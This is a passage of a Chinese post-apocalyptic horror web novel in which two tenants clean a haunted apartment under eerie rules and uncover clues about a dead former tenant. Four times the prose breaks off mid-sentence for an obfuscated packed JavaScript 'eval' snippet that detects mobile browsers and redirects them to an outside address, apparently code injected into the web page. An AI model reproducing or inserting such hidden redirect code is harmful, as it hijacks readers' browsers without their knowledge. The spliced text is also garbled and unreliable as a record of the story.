喻,就是喻成风么,站在照片左边的这个男人。时安之端详了他一会儿,喻成风穿着白色衬衫,有一张瘦削而干净的脸庞,笑容中带着几分紧张,即使看不见眼睛,也能感觉到是那种性格敏感内敛的年轻人,在任何时代都不罕见。 难以想象,这样一个干净清爽的青年,摔下来碎成一块一块的…… 想象出的画面让人浑身不舒服,时安之迅速打住了。他重新翻开笔记,开始逐页对比阅读。 从内容里不难看出,笔迹的记录者,也就是喻成风,有一定程度上的病态的洁癖。而且随着时间推移,情况开始变得越来越糟糕,甚至逐渐影响到了他的精神状态,在某种渴望着彻底的洁净的思维指引下,他慢慢地精神失常了。 这和他们读到的规则中,【您的室友喜爱绝对的洁净】一条是吻合的。 因此,极有可能和时安之此前猜测的一样,所谓室友,指的就是停留在103公寓之中的,这个喻成风的鬼魂。他或许就是这间公寓的前任租客。 【为了日后的友好相处,请不要让他发现任何不净之物。】 这一条也符合要他们提高公寓洁净度的要求。 时安之沉思。100%吗?不知道需要清理到什么程度。 和一个洁癖当室友,真的有点痛苦。 不过,既然血迹、牙齿、残肢也都算是需要清理的脏东西,现在最脏的岂不就是这位洁癖同学自己么…… 好地狱啊。 时安之啧了一声,转移注意力,去看照片上另外的那个人。 一个女孩子,身材小巧,扎着两条辫子,露着很有活力的笑容。她的右手和喻成风的左手离得很近,若即若离,简直就是要勾上的距离,不难看出两个人的关系特殊。 她应该就是“小烛”吧。 时安之把照片后面的姓氏对应上,姜小烛。看笔记中喻成风对她的叙述,大概是个天真开朗的女孩子,而且对于神秘的“远方”有着某种畅想。 这两个人的心态似乎有些区别。 姜小烛想要去的,是“票根”之上某个她向往的目的地。时安之的记忆还没恢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283923|198402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复,仍然是支离破碎的状态,但就他所了解到的情况,末日后的世界,已经不存在任何需要票根的交通工具了——也没有任何“远方”可以抵达。这张笔记上提到的票根,有可能和这面木头书架一样,是来自旧世界的遗物。 而喻成风的想法则要简单得多。他没有目的地,他只想离开。 离开这片荒芜的废墟,离开一切让他觉得肮脏的东西。到最后,也离开了这个世界。 时安之的目光缓缓地在笔记上的某一行字停下来: 【■快要落成了。所有人都很高兴。】 【■真的能带我们去任何地方吗?回到旧世界也可以?】 ——“■”是什么? 是某种能带人离开的工具?在什么时候落成的?“所有人”又是些什么人,是当年和喻成风、姜小烛待在一起的那些租客么? 这个被涂黑、抹掉的■,和照片背面的那个■,会有什么联系吗? ……好突然。 完全没有任何线索呢。 时安之对着笔记,苦笑了一下,把照片重新夹回纸页间。 他的阅读没有花费多少时间,伍九思刚好整理出了几样清洁工具,由于手伤的缘故,都堆在储藏室门边自己一个人拿不下,准备叫他过去帮忙。时安之拿着笔记走过去,简单和伍九思说了一下发现的情况。 “这些东西也有用么?”伍九思大惊,“规则不是说,我们只需要提升洁净度么,把公寓打扫干净就可以了吧?我们非要了解这个……这个……室友吗?” 显然他对室友产生了一定程度的心理阴影,不知道以后会不会抗拒合租。不过,也不是每个人都会粗心大意到把牙齿掉在洗手台的吧。 “还不清楚,但我觉得,规则绕了这么大一圈要把我们赶进储藏室,应该不是为了让我们拿拖把的。”时安之说,看了一眼伍九思手里正攥着的长杆拖把,顿了顿,稍微改了下口,“……不只是。” “……所以,我们的室友,是个鬼。是个跳楼而死的,有严重洁癖的鬼。”伍九思自己念叨着,突然道:“如果是这样的话……这个东西会有用吗?” 叮叮当当。他用没受伤的那只手,从门后的角落里取下来一串金属钥匙。 “我刚刚找工具时看到的,以为没什么用,就没收着。”伍九思解释道。“这串钥匙上面……我能感觉到,有那种不干净的味道……呃,你要的话,你可以拿着。” 时安之当然要接过来。他身上没有衣兜,道具倒是越攒越多,左手拿着卫生须知夹着笔记本,右手去接钥匙串,一时间很有些手忙脚乱。 钥匙是老式的黄铜金属制成,上面锈迹斑驳。时安之记得自己从实验室逃出来的时候,一路所有的门锁都已经换成了机械识别,像这样的老式钥匙,应该很少有人在用了。 这个喻成风,收藏了这么多旧世界的东西吗?是个恋旧的人啊。 “现在已经没什么人用这样的钥匙了。而且,在外面……管理局还在到处搜索这样的老物件。在外面,基本不可能看到这种东西出现。”伍九思看着时安之收起那把钥匙,也说道。 这和时安之自己的观察倒是符合的,不过……好像有些新情报。 他抬起头,看了伍九思一眼,露出思索的表情。 “你能跟我讲讲外面的情况么?” 时安之说。 “特别是你所知道的,关于残编管理局的事情。” 5. 时时勤拂拭(4):碎片世界 时安之在外面游荡的那三天,倒是也听说了不少关于残编管理局的事。毕竟,这是一个追在流浪者后面开枪的组织,对于他们而言可谓是十分危险,不得不防。 在末日之后,世界坍塌成无数碎片堆积而成的废墟。人类社会的秩序完全崩塌,末日以前被称为zf的东西,如今只剩下残存的少许编制,他们自称为管理局。而若是一个流浪者开口提到他们,则常常会加上一个蔑称:残编。 残编管理局是一片巨大的秩序残影。他们集中了末日后剩余的大部分资源,利用对饮食、水源等各种稀缺物质的管控,在废墟之上招募到了各种强者加入其中,最终成立了由“清除者”和“赏金猎人”组成的巡逻队。 这些人以超乎想象的暴力和强权,压迫着其余的普通群众,强制每个人都要在管理局入编和登记,以换取微薄的生存空间。其中的最弱势者,还会被带到集中管制营,成为没日没夜做苦工的最下等奴隶。 为了不沦为他们的阶下囚,无数人选择了逃亡。于是,这些人就组成了荒原上最常见的群体:流浪者。 时安之从实验室逃出来之后,就昏头昏脑地加入了这样一个群体。 准确来说,他没有加入任何群体,流浪者并不会成群结队地行动,大多都是形单影只。只是偶尔遇见和他一样衣衫褴褛的行人,还是能探听到一些消息。 而这些内容都不系统。时安之正需要一个人,尽可能详细地告诉他,外面的世界究竟发生了什么。 伍九思恰好可以是这么一个人。 “残编管理局……”伍九思似乎不太愿意提起这个名字,说到这个词时,鼻子皱了起来。 “……我就是从管理局里逃出来的。”他最终挤出了这样一句话。 “你是……”时安之重复到一半,忽然反应过来,“你的意思是,你是从管理局的集中管制营里逃出来的?” 伍九思皱着鼻子点头。他有一副面黄肌瘦的样貌,偏浅而枯槁的发色明显营养不良,皮肤也很粗糙,完全就是一个苦工的形象。只不过,他的眼睛在深陷的眼窝中,尚还显得很明亮。 “我是个孤儿,父母很早就去世了。我是在那个地方长大的。”伍九思低声说道,目光微微垂下。 “所以,我其实并不太清楚外面的情况……我在里面生活了好多年,已经记不清是多久了。” “但是,你还是离开了。”时安之指出。 “嗯……” “在那里生活了那么久,它几乎就是你的全世界了。” 时安之轻声道,高处那扇小窗投下来一点微弱的天光,打在他脸上,把那张白净的面容揉进一片柔和的光影里: “然而,你却选择在这个时候逃出来。应该是有原因的吧。” 伍九思也凝视着他,稍稍怔了一下,一时间居然有点失语。 哑然一阵后,他低下头,说:“……是的。我没办法再待下去了。” “挨打,做苦工,饿肚子,我都已经习惯了。可那个地方……堆积的死亡,实在太多了。 “从很早的时候,我就能感觉到那些过去的死亡。待在那个地方,我没有一天不活在痛苦之中,我可以看到那些死亡的阴影,听到它们说话的声音,有时还会梦到它们。” “本来,我以为忍下去就没问题。但是,有一天,那些人把我邻铺的男孩拉走了,然后…… “然后,那个晚上,他也在我的梦里了。” 伍九思用手背抹了一把脸,手掌捂着断指微微发着抖。 “我没办法再待下去了。那个地方不是家。 “所以我……就逃出来了。” 储藏室陷入一阵短暂的静默。 时安之动了动嘴唇,想说点什么,最后却没能说出来。 毫无疑问,这是一个很能打动人的故事。 但是,他自己的过去,就犹如一片茫茫的大雾,伸手去捉也捉不到任何情绪,只能摸到冰凉潮湿的空无。他不知道该如何跟这样一段故事共情,在聆听的时候,他仿佛被隔绝在雾气之中,周围的一切都是冷的。连他也是冷的。 时安之垂下睫毛,掩盖掉眼底的神色,这个姿态倒让他看起来有种哀伤的错觉。 “我很抱歉。”他慢慢地说。 “没事,没什么……”伍九思说,“现在都已经没事了。” 他停顿了一下,像是要挥散什么沉重的东西般,又转而提起精神道:“不过,我倒是大概知道,管理局的那些人在外面找什么东西。” “你听说过吗?现在很多人都在说,我们所处的废墟世界,其实只是旧世界坍塌之后,由无数小碎片汇聚起来的一个大碎片。” “也就是说,在废墟世界之外……还有更多的碎片世界。存在于宇宙之中,一直在无尽头地漂流着。只是我们距离那些碎片非常远,没有办法通过寻常的方式接触,” “所以我认为,管理局想找到的,就是能通往一个更好、更大的碎片世界的通道。”伍九思说。 “不知道他们究竟掌握了什么样的情报……总之,他们似乎认为,搜索这样的旧世界物件会有帮助。于是,他们就打算垄断这方面的一切资源。” 他这样一口气地说下来,情绪变得颇有些激动,黄黑的脸上都开始泛红——这对伍九思而言,显然是一种远大的畅想。 但时安之此时听着这个远大的畅想,却显得无比的冷静,甚至于冷酷。 他的心思已经转眼飘到了另一个地方。 他想到了那只报时鸟。 ——【第一个碎片世界「时时勤拂拭」已经开启。】 如果真的如伍九思所说,管理局认为在世界之外,还存在着其他零散的碎片世界,处在没有尽头的漂流之中。 ……那此时此刻,他们脚下站立着的公寓,这个被标记为“第一个碎片世界”的地方,究竟算什么? 是不是在他们踏入公寓大门的一刻,就已经来到了一个碎片世界了? 若是如此,那么这间103公寓、这栋楼,就直接接壤着残编管理局集聚了无数人力物力都无法抵达的,宇宙中更遥远的小世界…… 这里到底是一个什么样的存在? 时安之没有被那个畅想打动,只感到一阵冰冷的寒意爬上了背脊。 他转头,视线从储藏室的门口投射出去,远远地望向了客厅的窗户。如同卫生须知里所说的那样,公寓所有的窗户都是封死的,层层叠叠的纸张、铁板和废弃合金混乱地钉在窗框上,犹如一个微缩的材料垃圾场。 时安之毫不犹豫地从储藏室里冲了出去,直奔客厅的窗边。 伍九思被他的突然动作吓了一跳:“你怎么了?” 随即他就看清了时安之的目标,脸色瞬间转为煞白,也往储藏室外追出去,声音几乎都变了个调,叫道:“等一下!不能碰那窗户!有规则!规则说了我们不能——” 时安之完全不为所动。他直接越过了“不能碰窗户”的第五条,而在心里默念了一遍规则的第六条: 【如果您听到窗外传来声音,请不要理会,那只是风声。即使那听上去像说话声或有人在求救。】 既然有这条规则,就代表或早或晚,窗户外面一定会有声音传来。 那会是什么样的声音?什么人在求救? 他当然要去听一听。 103公寓本来在这栋楼的第一层。时安之进入之前留意过,楼外只有一片昏暗、寸草不生的荒地。但是,现在他们真的还在楼里么?换句话说……真的还在这个荒芜的被遗弃的世界中么? 在完全封闭的公寓里,只有窗户能给他答案。 如果这里真的是一个碎片世界,那么这间公寓的窗外,就不可能还是他进来前看到的那副景象。规则里所说的“声音”,也绝不是什么单纯客观的存在。 时安之在客厅的窗边停下。 他用手细细地触摸,找到一处密封最薄弱的位置,将耳朵凑近,缓慢地贴到了窗户上。 …… 首先是一阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283924|198402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绝对的寂静。 接着,他听见风声。 猎猎作响,嘶哑如裂帛,从高处吹来。这绝对不是一楼会听见的风声——除非这该死的荒原又在白日青天之下刮起了台风。 风声渐渐地近了,又远了。 随后传来一阵物件摩挲的声音,有什么东西越过了一道危险的边界,纵身而下。 沉重的,穿过呼啸的风,如陨石一般急坠。简直要把空气擦出火花。 “砰。” 一声沉闷的巨响。撞击。飞溅。 伍九思一直没有靠近,只是站在客厅中间,紧张地看着,大气都不敢出。他眼见时安之忽然向后挪了挪脸,清秀的眉毛拧了起来,眼睫一敛,露出了困惑而略带不安的神色。 时安之此时又开始觉得有点反胃了。 ——有人在风中发出呜咽声。 在那声落地的巨响之后,风声就变化了,变得像是时断时续的低泣和呜咽。 时安之尽量按捺住情绪,继续侧耳听着。那呜咽声如有实质般,一点点地更大、更近。 那在风中哭泣的东西,正在一点点接近他所在的这扇窗户。 “呜呜呜……” “呜呜呜……” 他咬住嘴唇。下一秒,一个沙哑的声音几乎是贴在他耳边响了起来: (“开窗吧。”) 有东西轻轻敲了敲窗户。 (“我要开窗了。”) 时安之猛地后退,简直是从窗户边弹开了。 隔着几步的距离,他盯着那扇窗户,心脏砰砰直跳,只觉得手脚一阵冰凉。 万籁俱寂。 窗户不再有任何响动,屋里的人也一声不敢吭。大约过去了三分钟,时安之才终于能够喘息似的,突然大口地呼吸起来,他环抱住自己的手臂,那瞬间的寒意让他直到现在还浑身发冷。 什么东西啊?! 你怎么还想进来啊?!! 时安之默默地揉了把脸,心说低估了敌人高估了自己,原来我的心理承受能力没有想象中的强。下次这种事得叫别人去做。 他做了几次深呼吸,看窗户不再有动静,估摸着应该是安全了,才把视线转开,回头看向伍九思。后者已经完全傻了,站在原地微张着嘴巴,呆呆地望着他。 “……” 时安之也张了张嘴,不知道该怎么说。 要不还是别吓唬他了,这兄弟看起来胆子比我还小。 “……风声。”最后时安之佯装平静。 伍九思:“……” 可以了,我懂。 “其实,如果我们真的需要看窗户外面的话,”伍九思犹豫着,开了口,“还有一个办法的。” “什么?” “储藏室的墙上,不是还有一扇小窗户吗?那个好像没有封起来。” 时安之倒不是没有想到这一点。 但问题是,那个窗口实在太小又太高了,几乎就顶在天花板墙角,与其说是窗户,还不如说是一个扁平的通风口。 他没有那么高,伍九思甚至比他还要矮一点,而他们两个人的体力看上去都不怎么好。要够到那个窗口,实在是有难度。 如果有梯子的话…… 时安之想着,抬头往他们之前所在的储藏室看过去。这一眼,他就微微地怔住了。 “伍九思,你刚才关储藏室的门了吗?” “我没有啊。”伍九思摇头,随着时安之的目光转过去看,然后也愣住了。 储藏室的门不知何时,已经严丝合缝地关了起来。 而且,有一道冰冷、崭新的金属锁扣,凭空出现在他们眼前,死死地扣在了门板与门框之间。 在同一个时刻,电视发出了轻微的电流声。屏幕上的字样发生了变化: 【公寓洁净度:35%】 【倒计时:10:29:32】 下方多出来一行纤细的小字: 【租客完成了储藏室的全部清理,储藏室已关闭。】 6. 时时勤拂拭(5):悲伤的眼睛 不仅被引导着去路,也被堵死了来路。时安之对这种被人安排的感觉很不适应。 于一个新租客来说,能够按部就班地完成任务,通常该是值得他们庆幸的事。但时安之一点都不喜欢,因为他依然不知道那些规则的立场,不知道规则最后会将他们导去何方。 那张《入住卫生须知》里,可没有一个字提到会保护租客的安全。 他们在客厅里坐了一会儿,确保窗户不再有其他动静,就转而回到了浴室。打开门的一刻,聚集在地面的带血污水倾泻而出,好在这次有了从储藏室拿出的工具,两个人又是花了好一番功夫,才将浴室基本清理了个干净。 【公寓洁净度:45%】 【倒计时:08:22:45】 时安之开始觉得,这个任务把他和伍九思分配在一起,根本就带着绝对的恶意了。他们两人一个比一个瘦小,苦力活压根不是强项,时安之自己知道自己有多菜,而伍九思虽说从小待在集中管制营里进行强制性的工作,但长期的营养不良,也让他的体质比常人更衰弱,更别提还刚刚负了伤。 最后的结果是两个人打扫完一间浴室就精疲力尽,双双瘫在客厅沙发上瞪天花板。 “我还没来得及问你呢,哥……呃……兄、兄弟。”伍九思这次总算记得把称呼改掉了,“你为什么会到这里来租房?会来这里的,一般都是像我这样,没有身份的流浪汉吧。” 时安之苦笑:“你觉得我不像一个流浪汉吗?哪里不像了?” 他确实有意识到,和常人相比,自己的肤色更苍白、体温也更低;这大概是在冷冻舱里待了太长时间不见阳光的后遗症。他完全不记得自己究竟在那个地方当了多久的冰棍。 但除此之外,他衣衫褴褛、风尘仆仆的样子,真的哪里都和一个流浪汉毫无差别。 伍九思还真的审视了他一下:“嗯……各种各样的流浪汉我见过不少,长相好看的也有。要我说的话,最大的不同点是气质不像。” “气质不像?” “你不是不像流浪汉,你是像从来没有流浪过的样子。”伍九思看着他,“你像是……一直过好日子的人。” 被冻起来当冰棍算是一种好日子么?也许和这世界的其他人比起来,确实还算不错吧,时安之心说。 就是不知道,在做冰棍之前,自己过着什么样的生活,又为什么会出现在那个实验室的冷冻舱里。 难道是得了某种绝症,需要一直靠冷冻舱维持生命? ……靠,那我现在不是没有几天可活了吗? “小伍同志,我问你。”时安之转头,“你觉得我像有病吗?” 伍九思:“?” 时安之:“……字面意思,我看起来像有什么疾病吗?” 伍九思小心翼翼地端详着他,半晌,道:“你皮肤很白。” 嗯,这个知道。 “体温好像也很低,比我低不少。” 这个也知道。 “你还……”伍九思说着说着,突然捂住了嘴,思索着什么似的,渐渐露出了他那副时常出现的惊恐神色。 时安之稍一怔,顿时就明白他想到哪里去了,一阵无语,打断道:“我不是鬼。” “哦哦。”伍九思倒是相信得很快,忙点头。接着又说: “我听说,旧世界有一种很像人的生物,自己身上没有血液,但会吸食别人的血液。他们的皮肤就很白,体温低,和你一样,长得也很漂亮……” “我也不是吸血鬼。”时安之继续无语。 “呃,还有那些浑身冰凉,其实早就已经死掉了,但他们自己不知道,还在到处游走抓人来吃的……” “我要是丧尸的话,已经把你吃了。”时安之面无表情,“你都从哪里听来的这些故事?” 伍九思侧躺在沙发上,蜷缩成一团,眼睛出神地看着天花板,说:“以前在管制营里,有一个很爱讲故事的老阿嬷,据说她经历过末日,是旧世界的人。她每个晚上都会和我们说故事。” “那她应该很老很老了吧。”时安之说。 “嗯,在我成年之前……她就去世了。”伍九思说。 末日是快一百年前的事了。在那场浩劫之后活下来的人本就稀少,挺过这一个世纪跌宕的恐怕更是凤毛麟角。在这个时代,应该已经不存在出生在旧世界的人了。 两个人都在逐渐凝滞的氛围中沉默了。各自看着天花板,谁也不吭声。 【倒计时:08:00:00】 电视忽然进行了一次整点报时。 只剩八个小时了。 时安之在心里哀叹一声,不能再奢侈地浪费时间了。他像八爪鱼那样软趴趴地爬起来,对伍九思道:“我们该打扫厨房了。” 伍九思还蜷缩在沙发上,转动眼珠,无声地看过来。 他刚才受了伤,手指才勉强止血没多久,精力的消耗也比较大。此时既然躺了下来,灰色的眼珠里就流露出无限的痛苦和不情愿。 两个人对视了差不多三秒钟,时安之放弃了。 与其硬拉一个不想也不便干活的队友,还不如自己一个人全干了更有效率。 他主动起身,把乱七八糟的清洁工具往怀里一揣,去了厨房。 这间公寓整体的卫生状态并不差,厨房也是一样,只在瓷砖的表面积了一层薄灰,水槽旁还叠放着少许不知是否干净的碗碟。时安之先试探地将水龙头打开一个微小幅度,水流呈旋涡状流向底部,似乎并没有出现之前的堵塞情况。 他稍稍松一口气。留着碗碟不动,先蘸了水,去擦拭瓷砖和地板。 厨房里的杂物不多,这个工项完成得还算轻松。接下来时安之就直起腰,挽上袖子,准备重新洗一遍碗碟。 他关上漏嘴,打开水龙头,把碗碟泡进水槽里。很快水就积了起来,慢慢上升,漫过了碗碟的边沿。一层薄薄的油脂也跟着浮起来。 水是凉的。时安之试探地将手探进去,那股寒意开始直直往他骨头里钻。 他叹了口气。 其实在浴室里时,他避免了第一时间去清理水槽,是有原因的。 时安之从冷冻舱出来之后,不仅仅是体温偏低,还比常人更明显地畏寒。如果有条件的话,他绝对会优先保障自己的体温在正常范围,否则肢体受凉,行动会更加受限制。 可惜有些事情,该做还是得自己做。 时安之低头看着堆满碗碟的水槽,忽然发觉积水的颜色有些不对。 被油污弄脏的水,原本应该没有这么黑吧。 他盯着自己的手背,浮在浊黑泛着隐隐暗红的冰水中,被衬得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283925|198402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格外苍白,仿佛一块冷掉的香灰。接着,他看到在那白的皮肤上,突然开始滴落鲜艳的红色。 一滴,两滴。 与此同时,一种被人注视着的感觉,如浓雾一样卷上来,包围了他。 时安之的脖子几乎僵死了。他没有抬头,没去看究竟是什么东西在他的上空滴下鲜血。但他能感觉到,厨房里有一个冰冷、潮湿、庞大的存在,正一点点逼近他身后。然后,紧贴他站立着。 那个东西起码比他大上一圈,越过他头顶上方,慢慢地低头,血一滴一滴落在他的手背上。有一种潮湿、带着腥气的毛发的触感,像是凝结了血块的头发,从他的脖颈处冷冰冰地擦过去。 时安之做了一次深呼吸,嗅到空气中一股轻微的腐臭味道。他垂下了目光,不动声色,继续清洗手中的碗。 身后的东西注视着他。轻轻地,一口起伏、冰冷的呼吸贴到了他的耳侧,声音嘶哑: (“太慢了。”) 时安之顿了一下,目不斜视,手上的动作迅速加快。 随着他清洗的动作,身后那东西的呼吸也开始变得一点点急促起来。似乎是在不断地焦灼着,又似乎是得到了某种荒诞的快慰。 (“还不够。”) (“……还是很脏……”) (“再洗快一点……”) 时安之闭了闭眼,只觉得手里的碗都快被自己搓出火星子了。他咬着牙,暗暗骂了一句,这么嫌弃就自己洗好吗,该死的洁癖鬼。 还有三个碗。 而时安之已经感觉,身后那哥们的手指伸了过来,开始若即若离地触碰他的后颈。冰冷而潮湿的,令人头皮发麻的指尖,生着长长的弯曲的指甲,穿过他的发梢,碰了一下,又一下。 两个碗。 呼吸声更近了,他被笼罩进了一片暗色的阴影中。血还在滴落,时安之直接将手泡进血水中,开大了水龙头。 一个碗。 最后一个碗扔进沥水槽,发出清脆的声响。时安之这时才猛然回头,身后已经空无一物。 他结结实实地出了一背的冷汗。再转头时,满槽血水依旧,黑红色积水正以非常缓慢的速度下漏,其中若隐若现的漏嘴发出断断续续的呻口今。仿佛窄小的下水道里蜷缩着一个战栗的生物。 时安之看着那个时隐时现的洞口。他看了很长时间,一直到血水全部漏进了下水道。 在浅浅的血色覆盖下,漏嘴里卡着一样东西。 时安之的瞳仁微微收缩了下。 他总算知道是什么东西在注视他了。 漏嘴里卡着一颗人类的眼球。布满猩红的血丝,发灰的瞳仁上翻,用一种哀伤得令人毛骨悚然的眼神,透过满槽血迹,直勾勾地盯着他。 那眼神中浓烈的情感,几乎穿透了残缺的形体,向他刺来。 “很怨恨吗?很悲伤吗?” 时安之看着那只眼睛,轻声喃喃道:“你在悲伤什么呢?” 喻成风,你这样看着我,你遭遇了什么? 眼球不能回答。 眼球一动不动。 时安之把它捞起来,小心地放到一旁,再次清洗了整个水槽。 随后他拉下袖子,走出厨房。没怎么犹豫地扬起手,把这颗冷冰冰、湿嗒嗒的东西扔进了客厅的焚化炉。 7. 时时勤拂拭(6):君子有九思 【公寓洁净度:50%】 【倒计时:06:53:55】 时安之独自推开了卧室的门。 他们已经没有多少时间可以挥霍了,洁净度的任务还剩下一半进程。他和伍九思简单商量了一下,就决定分头行动,一人清理一间卧室。两个房间挨得很近,如果哪边出了问题,只要叫一声隔壁就能听见。 门打开后,扑面而来的是一股微带酸臭的灰尘气味,这个屋子一定很久没通过风了。屋里没有光,环境很昏暗,时安之打开灯,看了看窗台的位置,果然和客厅的窗户一样,用木板和钉子完全封死了。如果要打开,应该得费一些力气。 视线迅速扫过整个房间,时安之首先转向了衣柜。 好消息是,这里确实有一些衣物可以穿。越红说会提供衣服,并没有骗他。 坏消息是……他决定还是不深思这些衣服的前主人是谁了。 时安之很快从柜子里摸出一件轻薄的白色上衣和一条长裤,迅速换上。又随手抓了几件衣服准备带给伍九思。 有了还算轻便的穿着,接下来的行动就显得容易了不少。他拿着工具,把卧室从衣柜到床边的空间简单地打扫了一遍,灰尘有些多,但并没有顽固的污渍,进展的效率基本上是令人满意的。 床上罩着一张巨大的遮尘布,不需要过多的清理。时安之随手拉了拉被角,视线顺着床沿扫过,看见了一只小小的床头柜。 床头柜是铁皮的,看起来年代久远,已经爬满了青红的锈迹。上下有两层抽屉,第二层的顶部拦过一段绿色的金属片,垂下来一把小小的老式锁,表皮是冷冰冰的黑色。 时安之蹲下来,用手指轻轻拨弄了一下那把锁。 锁是完好无损的。 他眯了下眼睛——锁是完好无损的,说明这个抽屉从最后上锁那一刻开始,就没有被人打开过。里面一定有东西。 喻成风留下来的东西。 无论是什么,他得打开看一看。 时安之把锁掂在指腹上,仔细打量那个锁眼,尺寸并不大,对应的钥匙应该也不大。如今这样的老式锁已经非常罕见了。说到老式锁…… 咦。 他好像刚好有一串老式钥匙来着。 在储藏室的门背后,伍九思认为说不定有用,拿下来递给他的那串老式的黄铜钥匙。 时安之迅速把收进兜里的钥匙串摸了出来。铜环上一共串着四五把小钥匙,被他叮叮当当地捏在手里,依次对着锁眼试过去。 试到第三把,果然开了。 抽屉拉开的时候发出一种令人牙酸的声音,内里的机关显然也已经生锈了。随着一下拉到底的动作,薄薄的灰尘在空气里浮起来,时安之咳了两声,看见抽屉底层安静地躺着几张白色的纸片。 他捡了一张,稍稍吹开上面的灰尘。 “……■年■月■日。” “通往:乌斯怀亚。” 时安之看着熟悉又陌生的地名愣了一下,才反应过来,这竟然是一张船票。 来自早已破碎的旧世界的,一张老式邮轮船票。 啊,他想起了喻成风笔记本上的内容: 【……小烛给我带来了新的票根……我觉得,这就是她想去的地方。】 应该就是指的这些票根吧。 喻成风,或者姜小烛,或者他们两个都一样,看来有着收集古时候船票票根的爱好。 即使在废土之上,也还是有着旧世界物品的收藏爱好者,只不过他们大都集中在管控资源的群体——残编管理局里。对于平民乃至于流浪者来说,收藏旧世界遗物是非常奢侈的行为。 时安之把剩下的票根也捡起来,这些纸张上的大部分字样都已经模糊了,只有目的地还依稀可辨。 一共有三张,目的地分别是“乌斯怀亚”“雷克雅未克”和“开普敦”。 这些地名,在如今的世界早就已经消逝了,变成连口耳相传也不会提起的影子,几乎不再有人记得它们的存在。但时安之惊讶地意识到,他居然还能够回忆起关于这些地名的信息。 就像从一口漆黑的井里打捞出东西来——他不知道这些记忆从哪里来,但他确实记得。 时安之敲了一下自己的脑袋,想看看能不能敲出点别的信息,最好是关于他自己的。但是遗憾非常失败。 好吧,不能指望这个脑袋。 时安之把这些船票收起来,夹进笔记本中提及到“票根”的那一页。他把抽屉推回去重新锁好,然后继续把卧室剩下的部分打扫干净。 这一切做完后,他就带上衣服,去隔壁找他的室友,准备共享一下信息量。 不出他意料,伍九思作为一个标准的废土流浪汉,果然完全没想到还可以找衣服来换。看到时安之拿来的衣服时,顿时露出了一副标志性的呆呆的表情,过了一分钟,才一边道谢,一边把衣服接过来换上。 时安之的体型算纤瘦,甚至说得上“柔弱”。但伍九思比他还要瘦,脱下上衣后,整个人的躯干几乎就是一把黄黑的骨头。 他转过身时,后腰似乎印着一个三位的数字,在时安之的余光里一闪而过。 594。 时安之没有问什么,不过伍九思转头看到他的视线方向,自己反应过来了。 “这是……管制营里强制要求的纹身。”伍九思解释道,“这个数字是苦工的编号。” “你的编号就是594?那你的名字……”时安之问。 “嗯,是这样的,我其实没有名字。” 伍九思有点尴尬的样子,摸了摸头发:“在管制营里,所有人都没有名字,只有编号。来的时间短的人,可能还记得自己的名字,但是我已经不记得了……也可能,我从来就没有过名字吧。” “现在这个名字,是我从管制营逃跑之后,自己起的。哦,也不算是自己起的,我没什么文化,这是路上遇到的一个流浪汉前辈帮我起的,取了两个和编号同音的字,这样我也不会觉得太陌生。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283926|198402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“君子有九思。这是个好名字啊。”时安之看着他说。 “这我就不懂了,不过,叫起来确实挺顺口的,发音一样,能反应过来是在叫我。”伍九思憨厚地笑了一下。 他继续去把衣服换好,时安之环顾了一圈他负责的这间卧室,他们两个人的进度差不多,这个房间也已经清理得七七八八了。 等伍九思那边搞定,时安之就把邮轮船票的事情和他大致说了下。伍九思确实如他自己所说,没有什么文化,对这些旧世界的事物了解得十分模糊,听得是云里雾里的,对地名也提供不了什么新信息。 “邮轮是什么?”伍九思还见缝插针地问了这么个问题。 “是一种旧世界的海上交通工具。”时安之说,“通常体积很大,载着很多买了票的人一起,去某个共同的目的地。” “啊……听起来很美好。那个时候还有海。”伍九思说。 “这样说来,那个笔记本上写的,可以带他们去任何地方的东西,也是邮轮吗?” 时安之愣了一下,他倒是没有联想到这个。因为这个时代早就没有邮轮了,也没有任何船只,连海的概念都消亡了。荒原之上除了徒步,唯一的交通工具就是各种废铁金属搭建起来的自组摩托车。 